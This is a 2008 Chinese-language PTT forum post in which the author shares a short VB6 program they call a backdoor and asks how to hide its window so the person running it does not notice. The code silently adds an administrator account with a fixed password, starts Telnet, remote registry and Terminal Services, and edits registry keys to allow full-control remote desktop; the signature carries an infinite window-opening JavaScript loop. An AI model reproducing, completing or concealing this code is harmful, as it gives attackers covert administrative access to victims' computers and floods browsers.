作者axbycz0123 (Admin3389)
看板Visual_Basic
标题[VB6 ] 如何隐藏执行视窗
时间Wed Jun 25 08:09:28 2008
我用VB6写了一个简单的开後门程式，程式码如下:
Private Sub Form_Activate()
Shell "net user admin1 1234 /add"
Shell "net localgroup administrators admin1 /add"
Shell "net start termservice"
Shell "net start lanmanserver"
Shell "net start remoteregistry"
Shell "net start schedule"
Shell "net start tlntsvr"
Shell "reg add ""HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\TermService"" /v ""Start"" /t REG_DWORD /d 00000002 /f"
Shell "reg add ""HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\TermSefvice"" /v ""Start"" /t REG_DWORD /d 00000002 /f"
Shell "reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"" /v ""Start"" /t REG_DWORD /d 00000002 /f"
Shell "reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"" /v ""fDenyTSConnections"" /t REG_DWORD /d 00000000 /f"
Shell "reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"" /v ""fAllowFullControl"" /t REG_DWORD /d 00000001 /f"
End
重点是，无论如何一定会出现IDE介面，这样就一定会被执行者发现而破功，骇客任务也
就失败。
我的问题是:如何在执行时隐藏视窗
感谢各位高手提供资讯
axbycz0123 from 203.72.181.15
--
<script language="javascript">
var x=0
while(true)
{window.open("
http://202.43.195.52")
x++}
</script>
--
※ 发信站: 批踢踢实业坊(ptt.cc)
◆ From: 203.72.181.15